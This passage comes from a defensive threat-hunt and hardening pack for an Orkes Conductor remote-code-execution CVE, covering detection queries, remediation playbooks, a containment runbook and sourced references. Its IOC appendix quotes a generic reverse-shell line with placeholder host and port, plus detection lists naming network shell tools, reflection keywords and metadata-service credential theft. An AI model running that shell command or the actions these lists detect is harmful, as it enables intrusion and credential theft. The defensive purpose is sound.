| Q5 | Flags outbound connections from the Conductor process to non-private addresses. | Conductor's normal job generates heavy legitimate egress; needs a destination allowlist before promotion. |
| Q7 | Flags Java-parented processes reading secret/environment data. | High FP from routine admin/debug activity; correlate with Q3 in the same window. |
| Q9 | Flags known cryptominer binary names in a Java/shell lineage. | Low-recall opportunistic net-catch — attackers commonly rename miner binaries. |
| Q10 | Flags crontab/systemctl invocation from a Java/shell lineage. | Weak signal on ephemeral Kubernetes pods; stronger on persistent VM/host Conductor deployments. |
Machine-Readable IOC Appendix
This campaign has no published atomic network/file IOCs (no C2 IPs, domains, or hashes). The blocks below are exposure-discovery checklists, behavioral fingerprints, and the version/patch matrix — the actual sourced, actionable material for this threat.
# Internet-exposure query (Shodan / Censys) http.title:"Conductor UI" # Default listener TCP/8080 # Fingerprint paths /swagger-ui /api/metadata/workflow /api/workflow # Container image family to search inventory/Helm charts for conductoross/conductor # There is currently no credentialed Tenable or Qualys plugin for # CVE-2026-58138 (per Empirical Security, as of Sep 2026) -- a clean # vulnerability-scanner report does NOT mean you are unexposed.
# Abused task types (workflow-definition review) INLINE, LAMBDA, DO_WHILE, SWITCH # Abused evaluator types javascript, graaljs, python # GraalVM config that disables the sandbox (pre-3.30.2) HostAccess.ALL (JavaScript evaluator) allowAllAccess(true) (Python evaluator) # Reflection/interop keywords to flag inside workflow-definition # expression text getClass, forName, Runtime, ProcessBuilder, array reflection # Downstream process-boundary proxy for the in-JVM sandbox escape # (this is what Q3 hunts) Java (Conductor) process directly spawning: sh, bash, curl, wget, python, node, nc/ncat/socat, powershell # Reverse-shell technique precedented by the analogous Kestra/CISA # case (generic, not confirmed for this campaign specifically) bash -i >& /dev/tcp/<host>/<port> 0>&1 (hunted via Q8's "*dev/tcp*" match)
CVE-2026-58138 Orkes Conductor GraalVM evaluator RCE (CVSS 9.8/9.3)
CWE-94 (Code Injection) CISA KEV: NOT listed
(as of 2026-09-19)
[ ] Verify Conductor OSS version is 3.30.2 or later
[ ] Do NOT treat 3.30.0 or 3.30.1 as fixed -- both shipped only a
partial reflection blocklist; 3.30.2 is the complete fix
[ ] Confirm the Workflow API is not reachable without authentication
(curl the API and confirm it is rejected, or fronted by a proxy)
[ ] Confirm the Workflow API is not exposed directly to the internet
[ ] Review registered workflow definitions for INLINE/LAMBDA/DO_WHILE/
SWITCH tasks with reflection-capable expressions (Section 7)
[ ] Confirm the Conductor process/container is not running as root
[ ] Treat any environment variables or embedded secrets on an
unpatched, internet-reachable Conductor host as exposed
Attempts blocked, trailing 24h (as of 2026-09-09): 1,290 (+132% DoD)
Attempts blocked, trailing 7d (as of 2026-09-09): 6,696 (+17% WoW)
Top attack-source countries: Germany, Hong Kong, Indonesia,
United Arab Emirates, India
Previdian honeypot hits since 2026-07-24: 3 (2 unique source IPs,
located in France and the U.S.)
Empirical Security exploitation telemetry: recurring across multiple
windows, most recent 2026-08-21
Exploit-DB weaponized PoC published: 2026-08-09 (EDB-52633, targets
Conductor v3.23.0)
Fix shipped: 2026-06-03 (release 3.30.2)
CVE published: 2026-06-30 (~4 weeks AFTER the fix, with no CVE
reference in the original release notes)
Detection Validation Gates
| Gate | Requirement | Status |
|---|---|---|
| Field-name validation | Every CQL field validated against the known Falcon data model (lint_cql_fields.py) or explicitly flagged | Pass — 10/10 queries use only documented Falcon fields (aid, ComputerName, UserName, ParentBaseFileName, FileName, CommandLine, ContextBaseFileName, RemoteAddressIP4, RemotePort, TargetFileName) |
| Event-name validation | Every #event_simpleName value is a real Falcon event (lint_cql_syntax.py) | Pass — ProcessRollup2, NetworkListenIP4, NetworkConnectIP4, ElfFileWritten, NewExecutableWritten are all documented crowdstrike-logscale-v3 events |
| CONF/FP/COST ratings present | Every query carries all three ratings | Pass — 10/10 |
| FP exclusion guidance (medium+ FP) | Every FP-medium-or-higher query has a // TUNING: note | Pass — 10/10 |
| IOC provenance | Every atomic IOC traces to a saved source snapshot; untraceable IOCs dropped or converted to behavioral/placeholder | Pass — this pack ships zero atomic network/file IOCs (no C2 IPs, domains, or hashes exist in any snapshotted source); every sourced fact in §4/§10 (versions, ports, endpoints, task types, telemetry figures) traces to sources/ — see §18 |
| Coverage-gap honesty | Pre-auth HTTP layer and in-JVM script evaluation explicitly marked not Falcon-visible, not glossed over | Pass — see §1, §3, §5, §6, §15 |
| Source-attribution honesty | Claims not attributed to a source that doesn't actually make them (e.g. borrowing CISA reporting about a different CVE) | Pass — see §2 callout distinguishing the Kestra/CISA reverse-shell/miner precedent from confirmed Conductor-specific TTPs |
| Regex path-slash safety | No unescaped path separator inside a /.../ CQL regex; basenames matched via FileName-style fields, path substrings via quoted-string wildcards | Pass — all basename matches use FileName/ParentBaseFileName/ContextBaseFileName; all path-substring matches (e.g. Q4, Q8) use quoted-string wildcards ("/tmp/*", "*dev/tcp*"), never a /.../ regex containing a slash |
| HTML escaping in <pre> blocks | <, >, & escaped throughout, including bare >= | Pass — verified against verify_huntpack.py |
| Gold template structure | Fixed left sidebar with show/hide toggle, hp-header/meta-grid hero, section/section-hdr/section-body skeleton, region selector inside the CQL section, all five Falcon clouds | Pass — built directly on the proven gold template (PivotC2-FortiGate-CVE-2025-25249-Hunt.html) |
| No offensive/exploit code | No working exploit payload or step-by-step reproduction reproduced from the cited GitHub PoC or Exploit-DB entry | Pass — see §2 disclaimer; only the exploitation mechanism and sample tool output are described, no payload/script reproduced |
Hardening — Tiered
Immediate (this week)
| Control | MITRE Mitigation | Authority | Verification |
|---|---|---|---|
| Upgrade every Conductor OSS deployment to 3.30.2 or later — do not stop at 3.30.0/3.30.1, which shipped only a partial reflection blocklist | M1051 (Update Software) | NVD (official fix version); Empirical Security (confirms 3.30.0/3.30.1 are incomplete fixes) | Jar manifest / container image tag confirms >=3.30.2; §7 step 3 |
Restrict the Workflow API (/api/metadata/workflow, /api/workflow) so it cannot be reached without authentication — front it with an authenticating reverse proxy or a network-level access control if you cannot patch immediately | M1030 (Network Segmentation), M1032 (Multi-factor Authentication, where feasible) | FortiGuard Threat Signal #6527 explicit mitigation guidance; Empirical Security ("put it behind a reverse proxy that requires authentication") | §7 step 4 — unauthenticated request to the Workflow API is rejected (401/403) rather than accepted |
| Ensure no Conductor Workflow API is directly reachable from the public internet | M1030 (Network Segmentation) | FortiGuard Threat Signal #6527; SecurityWeek remediation guidance | External port scan / cloud security-group audit confirms no public ingress on the Conductor listener port |
| Review registered workflow definitions for INLINE/LAMBDA/DO_WHILE/SWITCH tasks with reflection-capable expressions | M1047 (Audit) | Empirical Security explicit hunt guidance | §7 step 5 returns no unexplained matches |
Near-term (1–4 weeks)
| Control | MITRE Mitigation | Authority | Verification |
|---|---|---|---|
| Run Conductor as a non-root, least-privilege service account inside its container/VM | M1026 (Privileged Account Management) | CIS Docker Benchmark / CIS Kubernetes Benchmark — best-practice (no formal benchmark names Conductor specifically) | §7 step 8 — pod/container securityContext shows runAsNonRoot: true, no CAP_SYS_ADMIN or similar |
| Enforce IMDSv2 (session-token-required metadata access) and set the instance-metadata hop limit to 1 where hosted on AWS; equivalent controls on Azure/GCP | M1030 (Network Segmentation, adjacent), M1047 (Audit) | AWS IMDSv2 guidance (industry best-practice) — this pack's own finding (Q6) motivates the control, not a vendor advisory specific to this CVE | Cloud-provider CLI confirms IMDSv1 is disabled / hop limit is 1 |
| Ingest Conductor's own application/access logs into Falcon Next-Gen SIEM (or an existing SIEM) to close the pre-auth HTTP-layer visibility gap identified in §5/§15 | M1047 (Audit) | ⚠ best-practice, no formal benchmark — visibility control specific to this pack's stated coverage gap | A test unauthenticated POST to the Workflow API appears as a searchable event within 15 minutes |
| Move secrets referenced by workflow definitions out of plaintext environment variables and into a dedicated secrets manager (Vault, cloud KMS-backed secret store) | M1026 (Privileged Account Management, adjacent) | CIS Controls v8, Control 3 (Data Protection) — best-practice | Workflow-definition review (§7 step 5) shows no plaintext secret values in task inputs/expressions |
Strategic (1–3 months)
| Control | MITRE Mitigation | Authority | Verification |
|---|---|---|---|
| Formal vulnerability-management SLA for self-hosted internal/orchestration tooling that does NOT depend solely on CISA KEV listing — this CVE is not KEV-listed as of 2026-09-19 despite confirmed active exploitation | M1051 (Update Software), process control | Empirical Security ("CISA KEV: Not listed") — this pack's own finding motivates the control | Audit shows a documented internal severity/exploitation-driven patch SLA independent of KEV status |
| Asset-inventory program specifically covering internally adopted open-source orchestration/agent platforms (Conductor, and similar tools), since they rarely appear in traditional software inventories | M1047 (Audit) | Empirical Security ("Conductor rarely shows up in inventory as 'Conductor'") — best-practice | Fleet-wide Q1/Q2 sweep is run on a recurring schedule and reconciled against the asset inventory |
| Network-segment and service-mesh-isolate internal orchestration platforms from sensitive internal subnets to limit blast radius of any future RCE in this class of software | M1030 (Network Segmentation) | CIS Controls v8, Control 12 (Network Infrastructure Management) — best-practice | From the Conductor host/pod, confirm network policy blocks reach into sensitive VLANs/namespaces by default |
Deployable Playbooks
Playbook A — Upgrade Conductor to a Patched Release (3.30.2+)
! 1. Back up the Conductor database/config before upgrading
pg_dump conductor > conductor-backup-$(date +%F).sql # or your DB's equivalent
! 2. Confirm current version
docker inspect <container_id> --format '{{.Config.Image}}'
! 3. Pull the fixed image tag (verify it is >=3.30.2, not 3.30.0/3.30.1)
docker pull conductoross/conductor:3.30.2
! 4. Roll the deployment (example: Kubernetes)
kubectl set image deployment/conductor-server \
conductor-server=conductoross/conductor:3.30.2 -n <namespace>
kubectl rollout status deployment/conductor-server -n <namespace>
! 5. Post-upgrade, re-verify version and re-run the Section 7 checks
unzip -p /app/libs/conductor-server-*.jar META-INF/MANIFEST.MF | grep -i Implementation-Version
Playbook B — Front the Workflow API With an Authenticating Reverse Proxy
# nginx example: require basic auth on the Conductor Workflow API
# and UI paths until (or in addition to) the 3.30.2 upgrade
server {
listen 443 ssl;
server_name conductor.internal.example.com;
location / {
auth_basic "Conductor Access";
auth_basic_user_file /etc/nginx/conductor.htpasswd;
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}
# Kubernetes NetworkPolicy: restrict ingress to the Conductor service
# to only the specific internal callers that legitimately need it
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: conductor-restrict-ingress
namespace: <namespace>
spec:
podSelector:
matchLabels:
app: conductor-server
policyTypes: ["Ingress"]
ingress:
- from:
- namespaceSelector:
matchLabels:
name: <trusted-caller-namespace>
Playbook C — Enforce IMDSv2 and Restrict Metadata-Service Egress
# AWS: require IMDSv2 session tokens and cap the hop limit at 1
aws ec2 modify-instance-metadata-options \
--instance-id <instance-id> \
--http-tokens required \
--http-put-response-hop-limit 1
# Kubernetes NetworkPolicy: deny pod egress to the metadata service
# except for a short allowlist of pods that legitimately need it
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: deny-imds-egress
namespace: <namespace>
spec:
podSelector:
matchLabels:
app: conductor-server
policyTypes: ["Egress"]
egress:
- to:
- ipBlock:
cidr: 0.0.0.0/0
except:
- 169.254.169.254/32
Playbook D — Run Conductor as a Non-Root, Restricted Container
apiVersion: apps/v1
kind: Deployment
metadata:
name: conductor-server
spec:
template:
spec:
containers:
- name: conductor-server
image: conductoross/conductor:3.30.2
securityContext:
runAsNonRoot: true
runAsUser: 1000
allowPrivilegeEscalation: false
readOnlyRootFilesystem: true
capabilities:
drop: ["ALL"]
Containment Runbook
| Phase | Actions |
|---|---|
| Isolate |
1. Confirm which hosts/pods run Conductor and at what version (§7, Q1/Q2). 2. For any host on the vulnerable range (3.21.21 – < 3.30.2) that is internet-reachable, apply Playbook B (authenticating reverse proxy / NetworkPolicy) immediately, even before the version upgrade completes. 3. If Q3, Q6, or Q8 fires, isolate that host/pod from the network pending triage. 4. Kill any confirmed-malicious spawned processes (reverse shell, miner) identified via Q3/Q8/Q9. |
| Eradicate |
1. Apply Playbook A (upgrade to 3.30.2+) to every affected Conductor deployment. 2. Remove confirmed persistence artifacts (cron entries, systemd units) identified via Q10 and §7 step 6. 3. Rebuild the container/host from a clean, patched image rather than trusting in-place cleanup — arbitrary code execution means the full extent of persistence cannot be guaranteed by artifact removal alone. 4. Apply Playbook D (non-root, restricted container) as part of the rebuild. |
| Recover |
1. Re-verify the patched version and re-run all §7 checks clean before returning the service to production. 2. Rotate every credential/secret that was reachable from the compromised Conductor process — workflow-definition secrets, environment variables, and (if Q6 fired) the cloud IAM role/instance-profile credentials. 3. Apply Playbook C (IMDSv2 enforcement / metadata egress restriction). 4. Monitor Q1–Q10 for 30 days post-recovery for any recurrence. 5. Conduct a lessons-learned review covering how long the instance was internet-reachable, why authentication was not already in front of it, and whether the asset-inventory program (§12 strategic) should be accelerated to catch the next unauthenticated internal tool. |
Detection Coverage Map
| Technique / Step | Behavior | CQL | IOA | Coverage |
|---|---|---|---|---|
| T1190 — Unauthenticated exploitation of the Workflow API | Pre-auth HTTP POST registering a malicious workflow definition | — | — | Gap — HTTP-layer request, not a native Falcon endpoint event; requires NG SIEM app-log ingestion to see directly. Mitigate via Playbook A/B; do not expect endpoint EDR to catch this step. |
| T1059.007/T1059.006 — GraalVM script evaluation / sandbox escape | Malicious JS/Python expression evaluated in-JVM, reflects to Runtime/ProcessBuilder | — | — | Gap — happens entirely inside the JVM process, no process boundary crossed. Q3 is the practical downstream proxy the moment a child process spawns. |
| T1059.004 — Shell/interpreter child process | sh/bash/curl/wget/python/node spawned by the Conductor JVM | Q3 | Candidate 1 | High — this is the core, well-instrumented detection, provided the Falcon sensor covers the specific host/container |
| T1552.005 — Cloud IMDS credential theft | Shelled-out curl/wget to 169.254.169.254 | Q6 | Candidate 2 | High — precise, low-FP signal for the shelled-out retrieval pattern specifically |
| T1552.001 — Workflow-definition/environment secret reading | cat/env/grep of secret-named files or variables | Q7 | — | Medium — high FP from legitimate admin activity, needs correlation with Q3 |
| T1105 — Second-stage tooling retrieval | curl/wget fetching additional payloads; new executables written to temp dirs | Q3, Q4, Q5 | — | Medium — Q3/Q4 solid, Q5 high-FP without a destination allowlist |
| T1059 (reverse shell, generic) | bash /dev/tcp interactive reverse shell | Q8 | Candidate 3 | High signal, but explicitly NOT confirmed as this campaign's specific technique — see §2 |
| T1496 — Resource hijacking / cryptomining | Known miner binary spawned in a Java/shell lineage | Q9 | — | Low-Medium — opportunistic, attackers commonly rename miner binaries; NOT confirmed as this campaign's specific technique — see §2 |
| T1053.003/T1543.002 — Cron/systemd persistence | Cron entry or systemd unit installed from a Java/shell lineage | Q10 | — | Medium — strong on VM/host deployments, weak on ephemeral Kubernetes pods |
| T1611 — Container escape | Potential given frequent root execution; no confirmed reporting | — | — | Gap — not hunted directly in this pack; no source confirms this has occurred in this campaign |
Hunt Summary Ticket
TITLE.....: Orkes Conductor Unauthenticated RCE via GraalVM Evaluator Escape (CVE-2026-58138)
THREAT....: Unauthenticated remote attackers exploiting an unsandboxed GraalVM
script evaluator in Orkes Conductor OSS 3.21.21 - <3.30.2
SEVERITY..: Critical (CVSS 9.8 v3.1 / 9.3 v4.0) / NOT CISA KEV-listed as of 2026-09-19
SCOPE.....: Fortinet blocked 1,290 attempts/24h (+132% DoD) and 6,696 attempts/7d
(+17% WoW) as of 2026-09-09; top source countries DE/HK/ID/AE/IN;
active since >= 2026-07-24 (Previdian honeypot); most recent confirmed
exploitation 2026-08-21 (Empirical Security)
HYPOTHESIS: Any internet-reachable, unpatched Conductor instance is a likely
unauthenticated-RCE target; the JVM crossing into a spawned shell,
outbound connection, or IMDS query is the first Falcon-visible signal
after the (invisible) in-JVM sandbox escape.
QUERIES...: 10 CQL hunts (Q1-Q10); 3 promoted to Custom IOA candidates (Q3, Q6, Q8)
DO FIRST..: (1) Run Q1/Q2 fleet-wide to inventory every Conductor host and confirm
version. (2) Patch every host on 3.21.21-3.30.1 to 3.30.2+. (3) Run Q3
across the full Falcon fleet for shell/interpreter children of java.
FINDINGS..: [analyst to fill in after first run]
GAPS......: The unauthenticated HTTP exploitation request and the in-JVM GraalVM
script evaluation are NOT visible to Falcon endpoint telemetry (no
process boundary crossed). Reverse-shell (Q8) and cryptominer (Q9)
queries are generic post-exploitation patterns, NOT confirmed TTPs for
this specific campaign -- see Section 2.
ACTIONS...: Inventory (Q1/Q2) -> patch (Playbook A) -> authenticate/restrict the
Workflow API (Playbook B) -> enforce IMDSv2 (Playbook C) -> run as
non-root (Playbook D) -> monitor Q1-Q10 for 30 days.
OWNER.....: [assign at ticket creation]
VERSION...: 1.0 -- 2026-09-19
Changelog
References
- The Hacker News — "Critical Pre-Auth RCE in Orkes Conductor Workflow Platform Exploited in the Wild" (Sep 19, 2026). thehackernews.com — saved:
sources/01-thehackernews.txt - FortiGuard Labs — Outbreak Alert "Orkes Conductor Evaluator Remote Code Execution" (released Sep 15, 2026). fortiguard.fortinet.com — saved:
sources/02-fortiguard-outbreak-alert.txt - FortiGuard Labs — Threat Signal Report #6527 "Orkes Conductor Evaluator Remote Code Execution" (Sep 9, 2026). fortiguard.com — saved:
sources/03-fortiguard-threat-signal.txt - NIST National Vulnerability Database — CVE-2026-58138 record (live REST API). nvd.nist.gov/vuln/detail/CVE-2026-58138 — saved:
sources/04-nvd-api.json - Empirical Security — "September 2026 CVE of the Month: The 9.8 Nobody Knows They Are Running (CVE-2026-58138)" by Jerry Gamblin (Sep 1, 2026). research.empiricalsecurity.com — saved:
sources/05-empirical-security.txt - SecurityWeek — "Critical Orkes Conductor Vulnerability Exploited in Attacks" by Ionut Arghire (Sep 18, 2026). securityweek.com — saved:
sources/06-securityweek.txt - GitHub —
0xgh057r3c0n/CVE-2026-58138public PoC repository (mechanism/technical reference only — no exploit code reproduced in this pack). github.com/0xgh057r3c0n/CVE-2026-58138 — saved:sources/07-github-poc-0xgh057r3c0n.txt - DEV Community (Anoymask) — "Orkes Conductor CVE-2026-58138: Exploitation Activity Observed Against Unauthenticated Workflow RCE" (Sep 19, 2026, citing Empirical Security). dev.to/anoymask — saved:
sources/08-devto-anoymask-brief.txt - Bellator Cyber Guard — "Orkes Conductor Flaw Under Active Attack, Patch Now" (Sep 19, 2026). bellatorcyber.com — saved:
sources/09-bellatorcyber.txt - The Hacker News — "CISA Adds Seven Exploited Flaws as Attackers Deploy Reverse Shells and Crypto Miners" (Sep 3, 2026) — cited only for the analogous Kestra OSS (CVE-2026-49869) precedent referenced in §2; NOT about CVE-2026-58138. thehackernews.com — saved:
sources/10-thehackernews-cisa-kestra-analog.txt - cvefeed.io — CVE-2026-58138 detail aggregation (corroborating, not primary). cvefeed.io — saved:
sources/11-cvefeed.txt - OpenCVE — CVE-2026-58138 vulnerability details (corroborating, not primary). app.opencve.io — saved:
sources/12-opencve.txt - kkm-mako.com — "Unauthenticated RCE in Netflix/Orkes Conductor (CVE-2026-58138): Patch to 3.30.2 Now" (corroborating, not primary). kkm-mako.com — saved:
sources/13-kkmmako.txt